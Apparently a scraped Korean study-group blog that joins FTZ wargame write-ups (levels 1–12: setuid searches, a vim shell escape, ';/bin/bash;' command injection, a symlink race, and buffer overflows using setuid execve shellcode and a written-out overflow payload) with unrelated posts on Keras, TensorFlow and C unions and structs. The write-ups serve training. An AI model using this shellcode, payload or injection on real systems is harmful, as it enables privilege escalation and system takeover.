hint 파일의 내용은 다음과 같다.

setuid 함수로 level 13 계정의 uid로 바꿔주고 있고, gets 함수로 입력을 받는다. 입력을 받는 str의 크기는 256바이트 이지만, 입력값에서 제한을 하고 있지 않기 때문에 bof 취약점이 발생할 수 있다. 정상적인 입력값을 받는다면 문자열을 입력받고, 입력값을 그대로 출력해주는 프로그램이다. 

파일 목록을 보면 attackme라는 파일이 있었고, 그 파일을 tmp 디렉토리로 복사하여(권한문제 때문) gdb로 main 함수를 확인하며 다음과 같다.

str의 크기는 256이지만 264 만큼의 크기를 확보하고 있기에 str 256바이트에 dummy 8바이트가 들어가는 것 같다. str의 시작점에서 ret까지의 거리는 str의 크기 256 + dummy(8) + SFP(4) = 268이다. 전 문제 처럼 환경변수에 쉘 코드를 넣고, RET에 환경변수의 주소를 넣어 level 13 계정의 쉘을 딸 수 있을 것 같다.

사용한 쉘 코드는 전 문제와 동일하다.

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

SHELL12 라는 이름으로 환경변수를 만들어 쉘 코드를 넣어주었다.

다음과 같은 코드로 쉘 코드를 넣은 환경변수의 주소를 알아낼 수 있다.

페이로드를 넣을 때는 전 문제와 달리 프로그램 실행 후 값을 입력받는 방식이기 때문에 "넣을 값"; cat | ./attackme의 형식으로 실행하면 넣을 값이 attackme 실행후 값으로 들어가고, 값을 입력할 수 있게 된다.

따라서  다음과 같이 payload를 작성하면 쉘을 딸 수 있다.

$ (python -c 'print "A"*268+"\x18\xfe\xff\xbf"'; cat) | ./attackme

 

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C][pwnable.kr] collision  (0) 2021.03.30
[Project H4C][pwnable.kr] fd  (0) 2021.03.30
[Project H4C] FTZ (8 ~11)  (0) 2021.03.27
[Project H4C] FTZ (1 ~ 7(문제오류))  (0) 2021.03.24
[Project H4C] C언어 코딩도장(14)  (0) 2021.03.23

케라스는 파이썬으로 작성된 오픈소스 신경망 라이브러리 이다. 케라스는 텐서플로우 위에서 동작한다. 

케라스는 빠르게 딥러닝 연구 및 실험을 가능하게 하는데에 중점을 두고 개발되었기 때문에 다음과 같은 특징이 있다.

1. 사용자 친근성

일관성 있고 간단한 API를 제공하며, 일반적으로 필요한 사용자 작업 수를 최소화하며 사용자 오류 시 명확하고 실용적인 피드백을 제공합니다.

2. 모듈성

모델은 가능한 최소한으로 제한하여 독립적으로 생성 가능하다. 신경층, 비용함수, 최적하기, 초기화스킴, 활성함수, 정규화 스킴은 모두 새로운 모델을 생성하기 위해 결합할 수 있는 독립 실행형 모듈이다.

3. 쉬운 확장성

새로운 모듈을 추가하기 쉽다.

4. 파이썬 작업

모델은 작고, 디버그하기 쉽고, 확장성이 용이한 파이썬을 기반으로 두고 있다.

 

'AI' 카테고리의 다른 글

RNN(순환 신경망)  (0) 2021.03.31
CNN(합성곱 신경망)  (0) 2021.03.31
DNN(심층신경망)  (0) 2021.03.29
Tensorflow(텐서플로우)  (0) 2021.03.28

텐서플로우는 2015년 구글에서 오픈소스로 공개한 파이썬 라이브러리로, 여러 CPU및 GPU와 모든 플랫폼, 데스크톱, 모바일에서 사용할 수 있다.

텐서플로우 연산은 상태를 가지는 데이터 흐름 그래프로 표현된다. 또한 C++과 R같은 다른 언어도 지원하여 딥러닝 모델을 직접 작성하거나 케라스 와 같은 래퍼 라이브러리를 사용하여 작성할 수 도 있다.

텐서플로우는 크게 CPU만 지원하는 버전과 GPU를 함께 지원하는 버전으로 제공된다.

NVIDIA의 GPU를 사용하고 있지 않다면 반드시 CPU만 지원하는 버전으로 설치해야 하며 GPU를 지원하는 버전보다 설치가 쉽다는 장점이 있다.

GPU를 함께 지원하는 버전은 CPU에서 실행되는 버전보다 월등히 빠른 성능을 나타낸다. GPU는 NVIDIA GPU만 지원한다.

 

'AI' 카테고리의 다른 글

RNN(순환 신경망)  (0) 2021.03.31
CNN(합성곱 신경망)  (0) 2021.03.31
DNN(심층신경망)  (0) 2021.03.29
Keras(케라스)  (0) 2021.03.28

Level 8

문제의 힌트는 다음과 같다.

find 명령어의 size 옵션을 활용해서 2700 용량을 가진 파일을 찾을 수 있었다. 크기 뒤에 b, c, k, w를 붙여 확인해본 결과 2700은 바이트 단위임을 알 수 있었다.

찾은 found.txt 파일을 열어보니 다음과 같이 level9의 shadow 파일임을 알 수 있었다.

파일의 내용을 존 더 리퍼라는 패스워드 크랙 툴을 이용하여 크랙하면 다음과 같은 비밀번호를 얻을 수 있다.

 

Level 9

문제의 hint파일의 내용은 다음과 같다.

bof파일을 통해 level10의 권한을 얻어야 하는것 같고, buf2의 앞 두글자가 go와 같으면 시스템 함수를 실행시켜 주는 것 같다. 입력값은 buf로 받고 있는데, buf의 크기는 10인데, 입력값 제한을 40으로 하고 있어서 bof가 발생한다.

gdb로 main함수를 보면 다음과 같다.

입력값은 ebp - 40에 들어가고 있고, strncmp로 비교하는 값은 ebp-24 에 들어가고 있다. ebp - 40이 buf이고, ebp-24가 buf2인 것이다. 메모리 공간이 16만큼 차이가 나므로 프로그램을 실행하고 입력할 때 16개만큼 다른 값으로 채우고, go를 넣으면 buf2에 go가 들어가서 조건문을 만족시킬 수 있다.

 

Level 10

시스템에서 프로세스의 메모리는 그 프로세스만 접근이 가능하지만, 공유 메모리를 사용하게 되면 다른 프로세스에서도 메모리에 접근할 수 있다.  공유메모리의 key_t값이 주어졌기 때문에 이 키 값의 공유메모리를 사용하는 프로그램을 만들어서 대화 내용이 있는 메모리에 접근할 수 있을 것 같다.

다음과 같이 C코드를 작성하여 위 힌트의 대화방과 같은 키값을 사용하여 메모리를 공유하는 프로그램을 만들어 줬다.

공유메모리를 생성하려면 sys/shm.h 헤더파일과 sys/ipc.h헤더파일을 사용해야 한다. shmget 함수로 7530 키를 가진 공유 메모리를 생성할 수 있고 shmat 함수로 공유메모리 프로세스에 접근할 수 있다. 메모리 주소를 반환하며 SHM_RDONLY옵션을 사용하면 읽기 전용이다. 메모리에 저장된 값을 출력하면 다음과 같은 내용이 나와 level11의 비밀번호를 알 수 있다.

 

Level 11

hint파일의 내용은 다음과 같다.

파일 목록을 보면 attackme 라는 파일이 있는 것을 확인할 수 있다.

힌트 파일의 내용이 attackme 파일의 소스코드 인 것 같다. 인자로 문자열을 받고 있고 인자로 받은 문자열을 str에 저장하고, str을 출력하는 프로그램이다. 

문제 파일을 gdb로 실행하면 권한에 의한 오류가 발생하기 때문에 파일을 복사하여 복사한 파일을 분석해야 한다.

gdb로 main 함수를 보면 다음과 같다.

ebp - 264를 사용하는 것으로 보아 256크기의 str 변수에 8바이트의 dummy가 들어가는 것 같다. 쉘 코드를 str에 넣고, str에서 bof를 발생시켜 ret까지 덮은 후에 ret에 str의 주소를 넣어 쉘 코드를 실행시킬 수 있을것 같아서 시도해보니 str의 주소가 프로그램을 시작할때마다 무작위로 바뀌는 aslr 보호 기법이 적용되어 있어서 불가능할 것 같다.

다른 방법을 찾아보다 환경변수는 리눅스 시스템에 저장되어 있기 때문에 한번 설정하면 주소가 바뀌지 않아서 환경 변수에 쉘 코드를 넣고 ret에 환경변수의 주소를 덮으면 쉘을 딸 수 있다고 한다.

사용한 쉘 코드는 다음과 같다.

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

다음과 같이 export 명령으로 환경변수에 쉘 코드를 넣을 수 있다. 환경변수 이름은 SHC로 하였다. 또한 env 명령으로 설정한 환경변수를 확인할 수 있다.

환경변수의 주소는 stdlib.h 헤더의 getenv()함수로 알아낼 수 있다. 다음과 같이 c코드를 짜고 컴파일하여 실행하면 설정한 환경변수의 주소를 알아낼 수 있다.

이제 str크기(256) + dummy(8) + SFP(4) = 268만큼 덮고 ret에 저 주소를 리틀엔디언 방식으로 덮으면 쉘을 딸 수 있다.

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C][pwnable.kr] fd  (0) 2021.03.30
[Project H4C] FTZ 12  (0) 2021.03.29
[Project H4C] FTZ (1 ~ 7(문제오류))  (0) 2021.03.24
[Project H4C] C언어 코딩도장(14)  (0) 2021.03.23
[Project H4C] C언어 코딩도장(13)  (0) 2021.03.23

Level 1

level 1에 접속하여 파일 목록을 확인하면 hint파일이 있는 것을 확인할 수 있다.

hint 파일을 읽어보면 "level2 권한의 setuid가 걸린 파일을 찾는다." 라고 쓰여 있다.

파일을 찾는것은 find 명령어를 통해 찾을 수 있으며 -user 옵션을 통해 파일 소유자를, -perm 옵션은 권한을 의미하며 4000 권한은 setuid가 설정되어 있음을 의미한다. 따라서 다음과 같은 명령어로 힌트로 주어진 파일을 찾을 수 있다.

$ find / -user level2 -perm -4000 2>/dev/null

2>/dev/null은 표준에러(2)가 발생하면 /dev/null(리눅스의 휴지통)으로 넣어준다는 의미이다.

명령어를 실행하면 다음과 같은 결과가 나온다.

/bin/ExecuteMe 파일을 실행하면 level2 권한으로 명령어를 실행시켜준다고 나오고, /bin/bash 명령을 입력하면 level2의 쉘을 딸 수 있다.

 

Level 2

hint 파일을 읽어보면 텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다고 한다.

level3 권한으로 setuid가 걸려있는 파일을 확인해보면 다음과 같다.

editor을 실행시키면 vim 텍스트 에디터가 실행된다.

vim 텍스트 에디터에서는 ! 뒤에 명령어를 사용하면 쉘 명령어를 사용할 수 있다.

! id로 level3 사용자 권한으로 명령어를 실행한다는 것을 알 수 있다.

! my-pass로 level3의 비밀번호를 확인할 수 있고 ! /bin/bash로 쉘을 딸 수 있다.

 

Level 3

hint 파일을 읽어보면 다음과 같다.

C 코드를 읽어보면 인자의 갯수가 2가 아니면 if문이 실행되면서 printf함수로 출력하고 프로그램을 종료한다. cmd라는 배열에 dig @와 argv[1] 인자로 준 값, 이후 문자열이 들어가고 있고 시스템 함수로 cmd 배열의 문자열을 실행한다. autodig 프로그램을 실행하면서 인자로 명령어를 넣어줘야 하는데 이미 앞에서 dig 명령어가 사용되고 있기 때문에 동시에 여러 명령어를 사용하려면 세미클론을 사용하여 인자를 전달하면 된다.

autodig 프로그램은 find명령어로 찾으면 다음과 같은 곳에 있다.

autodig를 실행하고 인자로 ";/bin/bash;"를 넣어주면 level4의 쉘을 딸 수 있고, my-pass 명령어로 비밀번호를 확인할 수 있다.

 

Level 4

hint 파일을 보면 "누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!" 라고 한다.

해당 경로의 파일 목록을 보면 다음과 같이 backdoor파일을 확인할 수 있다.

backdoor파일의 내용을 보면 다음과 같다.

finger 이라는 서비스를 통해 level5의 권한으로 /home/level4/tmp/backdoor이라는 서버 파일을 실행한다. 

finger 명령어는 리눅스에서 사용자의 계정정보를 확인하는 명령어이다. finger을 실행하면 backdoor 파일의 내용으로 인해 /home/level4/tmp/backdoor 파일이 실행될 것 같다.

tmp 폴더로 이동하여 backdoor 파일을 만들어야 한다.

시스템함수로 my-pass 명령을 실행하는 c 코드를 작성하고 gcc로 컴파일 하고 finger명령어를 실행하면 비밀번호를 알 수 있다.

 

Level 5

hint 파일을 읽어보면 다음과 같다.

힌트의 level5 파일은 level6 계정 권한으로 setuid가 걸려있음을 확인할 수 있다.

level5를 실행하고 /tmp 디렉토리를 확인해보면 level5.tmp라는 임시파일이 없다. 임시파일을 만들고 삭제시켜주는것 같다.

생성되는 임시파일을 이용하여 권한상승을 하는 레이스 컨디션 공격 기법이 있다고 한다.

레이스 컨디션(Race Condition)은 한정된 자원을 동시에 이용하려는 여러 프로세스가 자원의 이용을 위해 경쟁을 벌이는 현상이라고 한다. 레이스 컨디션을 이용한 공격은 취약 프로그램이 생성하는 임시 파일의 이름을 파악하고, 그 임시파일과 같은 이름의 파일을 생성히고 이 파일에 심볼릭 링크를 생성한 후 원본 파일을 지운다. 원본 파일이 지워진 상태에서 취약한 프로그램이 심볼릭 링크를 건 파일과 같은 파일을 생성할 때를 기다렸다가 심볼릭 링크를 이용해 파일의 내용을 변경한다. 

이 문제의 경우 취약한 파일은 level5 이고, 임시파일의 이름은 level5.tmp가 된다.

tmp 디렉토리에 level5.tmp에 심볼릭 링크로 연결할 파일을 하나 만들고 심볼릭 링크로 연결했다.

이후 level5를 실행하면 심볼릭링크로 연결된 level5에 level5.tmp의 내용이 저장되고 /tmp/level5파일의 내용을 확인하면 다음 레벨의 비밀번호를 확인할 수 있다.

 

Level 6

level6 계정으로 접속하면 다음과 같은 힌트가 나오고, 텔넷 접속 서비스가 나온다.

번호를 입력하면 ssh 연결이 끊기고, ctrl + c로 현재 프로그램을 종료하려고 하면 ctrl + c를 사용할 수 없다고 한다. 

다시 level6 계정으로 접속해서  힌트만 보이는 화면에서 ctrl + c를 누르면 현재 프로그램이 강제 종료되고 프롬프트가 나온다. 파일 목록을 확인해보면 password 파일이 있고 password파일을 확인해보면 level7계정의 비밀번호를 알아낼 수 있다.

 

Level 7

hint 파일을 보면 다음과 같은 내용이 나온다.

level7 을 실행해보면 wrong.txt가 존재하지 않는다는 메시지가 나오면서 문제를 더이상 진행할 수 없다.

 

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C] FTZ 12  (0) 2021.03.29
[Project H4C] FTZ (8 ~11)  (0) 2021.03.27
[Project H4C] C언어 코딩도장(14)  (0) 2021.03.23
[Project H4C] C언어 코딩도장(13)  (0) 2021.03.23
[Project H4C] PLT, GOT  (0) 2021.03.21

이 페이지 요약 

1. 공용체 

2. 리틀 엔디언

3. 구조체, 공용체 함께 사용

 

Unit 54. 공용체 사용하기

공용체는 다음 그림과 같이 모든 멤버가 공간을 공유한다.

공용체는 멤버중에 가장 큰 자료형의 공간을 공유한다.

54.1 공용체를 만들고 사용하기

공용체는 union 키워드를 사용하여 정의한다. 공용체는 다음과 같이 정의하고, 변수로 선언해서 사용한다.

union 공용체이름 {
    자료형 멤버이름;
};

union 공용체이름 변수이름;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <string.h>
 
union Box{
    short candy;
    float snack;
    char doll[8];
};
 
int main()
{
    union Box b1;
    printf("%d\n"sizeof(b1));
 
    strcpy(b1.doll, "bear");
    
    printf("%d\n", b1.candy);
    printf("%f\n", b1.snack);
    printf("%s\n", b1.doll);
    return 0;
}
cs

union 키워드 뒤에 공용체 이름을 지정하고, 중괄호 안에 변수를 선언한다. 닫는 중괄호 뒤에는 반드시 세미클론을 붙여줘야 한다. 공용체는 보통 main함수 밖에 정의한다.

정의한 공용체를 사용하려면 공용체 변수를 선언해야 한다. 공용체 이름 앞에는 union 키워드를 붙이고, 공용체 이름과 공용체 변수 이름을 지정하여 선언한다. sizeof 연산자로 공용체 크기를 구하면 가장 큰 자료형의 크기가 공용체의 전체 크기로 나온다. 위 코드의 경우 char 8개 크기인 배열로 8바이트 이다.

공용체의 멤버에 접근할 때는 점을 사용한다. 공용체는 멤버중 가장 큰 자료형의 공간을 공유하기 때문에 어느 한 멤버에 값을 저장하면 나머지 멤버의 값은 사용할 수 없는 상태가 된다. 공용체의 멤버는 한 번에 하나씩 값을 쓰면 정상적으로 사용할 수 있다.

실무에서는 공용체에 값을 저장할 때 어떤 멤버를 사용할 지 미리 정해두고 꺼낼때도 정해둔 멤버에서 값을 꺼내는 식으로 사용한다. 여러 멤버에 동시에 접근하지 않는 경우 메모리 레이아웃에 멤버를 모아둘 때 사용한다. 임베디드 시스템이나 커널 모드 디바이스 드라이버 등에서 주로 사용하며 보통은 거의 쓰지 않는다.

54.2 공용체와 엔디언

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
union Data {
    char c1;
    short num1;
    int num2;
};
 
int main()
{
    union Data d1;
 
    d1.num2 = 0x12345678;
 
    printf("0x%x\n", d1.num2);
    printf("0x%x\n", d1.num1);
    printf("0x%x\n", d1.c1);
    printf("%d\n"sizeof(d1));
    return 0;
}
cs

d1의 멤버중 가장 큰 자료형인 num2에 0x12345678을 할당하고 다른 멤버들을 출력해보면 d1.num2는 저장한 숫자가 그대로 나오지만, 다른 멤버는 숫자중 일부만 나온다. 공용체는 값을 저장하는 공간은 공유하지만 가져올 때는 해당 자료형의 크기만큼만 가져오기 때문이다. 우리가 사용하는 CPU는 리틀 엔디언 방식으로 값을 메모리에 저장한다. 리틀 엔디언은 숫자를 1바이트씩 쪼개서 낮은 자릿수가 앞에 오도록 한다. 따라서 0x12345678을 리틀 엔디언 방식으로 메모리에 저장하면 78 56 34 12가 된다. 공용체는 앞에서부터 자료형의 크기만큼 값을 가져오므로 d1.num1은 앞의 2바이트 56 78을 가져오고, d1.c1은 앞의 1바이트인 78만 가져온다.

공용체도 구조체처럼 typedef로 별칭을 지정하고 별칭으로 선언하거나, 익명 공용체를 정의할 수 있다. 또한 다음과 같이 정의하는 동시에 변수를 선언할 수 있다.

union 공용체이름 {
    자료형 멤버이름;
} 변수;

54.3 공용체 포인터를 선언하고 메모리 할당하기

공용체도 포인터를 선언하고, malloc함수를 사용하여 동적 메모리를 할당할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
union Box{
    short candy;
    float snack;
    char doll[8];
};
 
int main()
{
    union Box *b1 = malloc(sizeof(union Box));
 
    printf("%d\n"sizeof(union Box));
 
    strcpy(b1->doll, "bear");
 
    printf("%d\n", b1->candy);
    printf("%f\n", b1->snack);
    printf("%s\n", b1->doll);
 
    free(b1);
    return 0;
}
cs

malloc함수로 메모리를 할당할 때 크기를 알아야 하므로 sizeof(union Box)처럼 공용체의 크기를 구할 수 있다. 공용체 포인터도 멤버에 접근할 때는 화살표 연산자를 사용한다. strcpy함수로 공용체 포인터의 멤버에 접근한 뒤 문자열을 복사하고, 공용체 포인터도 멤버중 가장 큰 자료형의 공간을 공유함을 출력값을 통해 확인할 수 있다. 할당한 메모리는 사용이 끝났으면 꼭 free로 해제해줘야 한다.

54.4 퀴즈

정답은 long long int 자료형의 크기인 8 이다.

정답은 d이다.

정답은 0x1111 이다.

54.5 연습문제 : 정수 데이터 공용체 정의하기

정답은 다음 코드와 같다.

// 1.
union Data{
    char c1;
    short num1;
};

// 2. 
union Data

// 3.
d1.num1 = 0x5678;

0x5678 은 2바이트 이므로 short, 0x78은 1바이트이므로 char로 선언하고, 리틀 엔디언으로 값이 저장되기 때문에 0x5678을 num1멤버에 넣으면 위와 같은 결과가 나온다.

54.6 연습문제 : 공용체 포인터 사용하기

화살표 연산자를 사용했으므로 포인터를 선언하여 메모리를 할당해야 하기 때문에 정답은 union Data *d1 = malloc(sizeof(union Data)); 이다.

54.7 심사문제 : 정수 데이터 공용체 정의하기

정답은 다음 코드와 같다.

union Data{
    char c1;
    int num1;
};

공용체의 크기가 4가 나오므로 4바이트 크기를 갖는 자료형이 사용되야 한다.

54.8 심사문제 : 공용체 포인터 사용하기

정답은 다음 코드와 같다.

union Data *d1 = malloc(sizeof(union Data));
d1->num2 = 0x11111111;

화살표 연산자가 사용됬기 때문에 포인터를 선언한 후 메모리를 할당해야 한다. 공용체는 가장 큰 자료형의 공간을 공유하므로 가장 큰 멤버에만 0x111111111을 넣으면 된다.

Unit 55. 구조체와 공용체 활용하기

구조체 안에 구조체와 공용체가 들어갈 수 있고, 반대로 공용체 안에 구조체와 공용체가 들어갈 수도 있다.

55.1 구조체 안에서 구조체 멤버 사용하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
 
struct Phone {
    int areacode;
    unsigned long long num;
};
 
struct Person {
    char name[20];
    int age;
    struct Phone phone;
};
 
int main()
{
    struct Person p1;
 
    p1.phone.areacode = 82;
    p1.phone.num = 12345678;
 
    printf("%d %llu\n", p1.phone.areacode, p1.phone.num);
    return 0;
}
cs

구조체를 멤버로 가지려면 구조체 안에서 구조체 변수를 선언하면 된다. 위 코드에서는 Person 구조체가 Phone 구조체를 멤버로 가지고 있다. 멤버에 접근할 때는 점을 사용하여 가지고 있는 구조체에 계층적으로 접근하면 된다. 위 코드와 같이 점을 두 번 사용하면 구조체의 areacode와 num 멤버에 접근할 수 있다.

구조체 안에 구조체를 정의할 때는 무조건 안에 들어가는 구조체를 먼저 선언해줘야 한다.

만약 Phone구조체를 다른 곳에서는 쓰지 않고 특정 구조체 안에서만 쓴다면 다음과 같이 구조체 안에 구조체를 정의하는게 더 편리하다. 이때 안에 정의하는 구조체는 정의하고 반드시 변수를 선언해 줘야 한다.

struct Person {   
    char name[20];    
    int age;          
    struct Phone {   
        int areacode;                 
        unsigned long long num;    
    } phone;                       
};

구조체 변수를 선언하며 안에 있는 구조체까지 초기화 하려면 중괄호 안에 중괄호를 사용하여 다음과 같이 초기화 하면 된다.

struct 구조체이름 변수이름 = { 값1, 값2, { 값3, 값4 } };

55.2 구조체 안의 구조체 멤버에 메모리 할당하기

다음은 구조체 안에 구조체 멤버가 변수로 있는 상태에서 메모리를 할당하여 사용하는 방법이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
 
struct Phone {
    int areacode;
    unsigned long long num;
};
 
struct Person {
    char name[20];
    int age;
    struct Phone phone;
};
 
int main()
{
    struct Person *p1 = malloc(sizeof(struct Person));
 
    p1->phone.areacode = 82;
    p1->phone.num = 12345678;
 
    printf("%d %llu\n", p1->phone.areacode, p1->phone.num);
 
    free(p1);
    return 0;
}
cs

Person 구조체에 메모리를 할당하면 각 구조체의 멤버에 접근하려면 p1은 포인터이기 때문에 화살표 연산자를 사용하여 멤버에 접근하고, phone은 포인터가 아닌 일반 변수이므로 점을 사용하여 멤버에 접근한다. 구조체 포인터 사용이 끝나면 free함수로 할당된 메모리를 해제해야 한다.

다음은 구조체의 포인터를 멤버로 갖는 상황이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
 
struct Phone {
    int areacode;
    unsigned long long num;
};
 
struct Person {
    char name[20];
    int age;
    struct Phone *phone;
};
 
int main()
{
    struct Person *p1 = malloc(sizeof(struct Person));
    p1->phone = malloc(sizeof(struct Phone));
 
    p1->phone->areacode = 82;
    p1->phone->num = 12345678;
 
    printf("%d %llu\n", p1->phone->areacode, p1->phone->num);
 
    free(p1->phone);
    free(p1);
    return 0;
}
cs

Person 구조체 안에는 구조체 포인터를 멤버로 갖고 있다. 먼저 바깥 구조체의 포인터에 메모리를 할당하고 멤버로 있는 구조체 포인터에 메모리를 할당해야 한다. 각 멤버에 접근하려면 p1은 포인터이고, 구조체 멤버 phone도 포인터이므로 화살표 연산자로 접근하면 된다. 구조체 포인터 사용이 끝나면 메모리를 해제해야 하는데, 안쪽에 있는 멤버부터 메모리를 해제해야 한다. 만약 바깥에 있는 구조체를 먼제 해제하게 되면 데이터가 사라져서 멤버에 더이상 접근할 수 없다. 멤버 포인터에 저장된 주소도 알 수 없기 때문에 해제도 할 수 없다. 그래서 ㅇㄴ쪽의 구조체 먼제 해제해야 한다.

55.3 익명 구조체와 익명 공용체 활용하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
 
struct Vector3 {
    union {
        struct {
            float x;
            float y;
            float z;
        };
        float v[3];
    };
};
 
int main()
{
    struct Vector3 pos;
 
    for(int i = 0; i < 3; i++)
    {
        pos.v[i] = 1.0f;
    }
 
    printf("%f %f %f\n", pos.x, pos.y, pos.z);
    return 0;
}
cs

제일 안에 있는 x, y, z는 float로 선언되어 있는 익명 구조체 이다. 익명 공용체가 x, y, z익명 구조체오 배열 v를 감싸고 있다. float x, y, z는 변수 3개이고, float v[3]도 배열의 요소가 3개이므로 자료형도 같고, 개수도 같으므로 같은 공간을 차지한다. 공용체로 묶어주면 x, y, z와 v[3]은 같은 공간을 공유하게 된다.

v는 배열이기 때문에 인덱스로 접근하여 값을 할당할 수 있다. 공용체에 넣었으므로 값은 같은 공간에 있기 때문에 x,y,z 멤버로도 접근할 수 있다.

 

55.4 퀴즈

정답은 d 이다.

정답은 c 이다.

정답은 b이다.

정답은 d 이다.

 

55.5 연습문제 : 게임 캐릭터 구조체 만들기

정답은 struct Stats stats 이다.

 

55.6 연습문제 : 게임 캐릭터 구조체 사용하기

화살표 연산자로 접근하고 있기 때문에 포인터로 만들어서 메모리를 할당시켜줘야 하므로 정답은 struct Champion *lux = malloc(sizeof(struct Champion)); 이다.

 

55.7 연습문제 : 장치 옵션 구조체 만들기

정답은 다음 코드와 같다.

union {
    unsigned long long option;
    struct {
        unsigned char boot[4];
        unsinged char interrupt[2];
        unsigned char bus[2];
    };
};

사용하는 공간이 총 8 바이트이기 때문에 공간을 공유하는 공용체를 8바이트로 만들면 코드에서 저장한 값들을 다 저장할 수 있다.

 

55.8 심사문제 : 게임 캐릭터 구조체 만들기

 

정답은 다음 코드와 같다.

struct Champion swain;

strcpy(swain.name, "Swain");
swain.stats.health = 463;

 

55.9 심사문제 : 게임 캐릭터 구조체 포인터 사용하기

정답은 다음 코드와 같다.

struct Champion *swain = malloc(sizeof(struct Champion));
swain->stats = malloc(sizeof(struct Stats));

strcpy(swain->name, "Swain");
swain->stats->health = 463;

 

55.10 심사문제 : 장치 옵션 구조체 만들기

정답은 다음 코드와 같다.

struct DeviceOption {
    union{
        unsigned short option;
        struct{
            unsigned char boot;
            unsigned char interrupt;
        };
    };
};

공용체는 모든 멤버의 공간을 공유하기 때문에 unsigned char이 두개 쓰였으므로 이 두개 모두 들어갈 수 있는 unsigned short 자료형을 사용하였다.

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C] FTZ (8 ~11)  (0) 2021.03.27
[Project H4C] FTZ (1 ~ 7(문제오류))  (0) 2021.03.24
[Project H4C] C언어 코딩도장(13)  (0) 2021.03.23
[Project H4C] PLT, GOT  (0) 2021.03.21
[Project H4C] SFP, RET  (0) 2021.03.21

이 페이지 요약

1. 구조체 멤버 정렬

2. 구조체 배열

3. 구조체 포인터 배열

 

Unit 51. 구조체 멤버 정렬 사용하기

구조체가 메모리에 올라갔을 때 멤버를 정렬하는 기능이다.

컴퓨터는 CPU가 메모리에 접근할 때 32비트는 4바이트 단위, 64비트는 8바이트 단위로 접근한다. 만약 32비트 CPU에서 4바이트보다 작은 데이터에 접근하게 되면 내부적으로 시프트 연산이 발생하여 효율이 떨어지기 때문에 C컴파일러에서 CPU가 메모리의 데이터에 효율적으로 접근할 수 있도록 구조체를 일정한 크기로 정렬한다. 구조체 크기가 15나 17바이트가 되면 접근 효율이 떨어지기 떼문에 2, 4, 8, 16바이트 단위로 정렬한다.

구조체의 멤버를 정렬하면 안되는 경우도 있다. 사진파일의 경우 정렬하게 되면 사진을 저장할 때 마다 조금씩 깨질 수 있다. 또한 네트워크로 데이터를 전송할 경우 몇 바이트씩 어떤 순서로 보낼지 규약을 정해놓았는데, 이때 정렬이 발생하면 정해놓은 규약에서 벗어나 받는 쪽에서 데이터를 알아볼 수 없게 된다.

51.1 구조체 크기 알아보기

구조체 전체 크기는 sizeof 연산자를 사용하여 알 수 있다. sizeof 연산자는 다음과 같이 사용할 수 있다.

  • sizeof(struct 구조체)
  • sizeof(구조체별칭)
  • sizeof(구조체변수)
  • sizeof 구조체변수

다음은 가상의 네트워크 구조체 PacketHeader를 정의하여 멤버의 크기와 구조체의 크기를 구한 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
 
struct PacketHeader {
    char flags;
    int seq;
};
 
int main()
{
    struct PacketHeader header;
 
    printf("%d\n"sizeof(header.flags));
    printf("%d\n"sizeof(header.seq));
    printf("%d\n"sizeof(header));
    printf("%d\n"sizeof(struct PacketHeader));
 
    return 0;
}
cs

구조체의 크기를 구하려면 sizeof 연산자 안에 변수나 struct 키워드와 구조체 이름을 넣어주면 된다. PacketHeader 구조체 안에는 1바이트 크기의 char 변수와 4바이트 크기의 int 변수가 들어있어 전체 크기는 5가 나와야 할 것 같지만 8이 나왔다. C에서 구조체들을 정렬할 때는 멤버중에서 가장 큰 자료형 크기의 배수로 정렬한다. 위 구조체에서는 int가 가장 큰 자료형이므로 느끼는 4바이트를 기준으로 정렬하여 구조체 전체 크기는 8바이트가 되었다. 1바이트 크기인 char flags 뒤에는 4바이트를 맞추기 위해 남는 공간에 3바이트가 더 들어가게 되는데 이렇게 구조체를 정렬할 때 남는 공간을 채우는 것을 패딩이라고 한다.

다음 코드를 이용하여 구조체를 정렬한 뒤 멤버의 위치가 위 그림처럼 되는지 확인할 수 있다. 구조체에서 멤버의 위치(offset)를 구할 때는 offsetof 매크로를 사용하여 구할 수 있다. offsetof매크로는 stddef.h 헤더파일에 정의되어 있다.

  • offsetof(struct 구조체, 멤버)
  • offsetof(구조체별칭, 멤버)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #include <stdio.h>
    #include <stddef.h>
     
    struct PacketHeader {
        char flags;
        int seq;
    };
     
    int main()
    {  
        printf("%d\n", offsetof(struct PacketHeader, flags));
        printf("%d\n", offsetof(struct PacketHeader, seq));
        
        return 0;
    }
    c

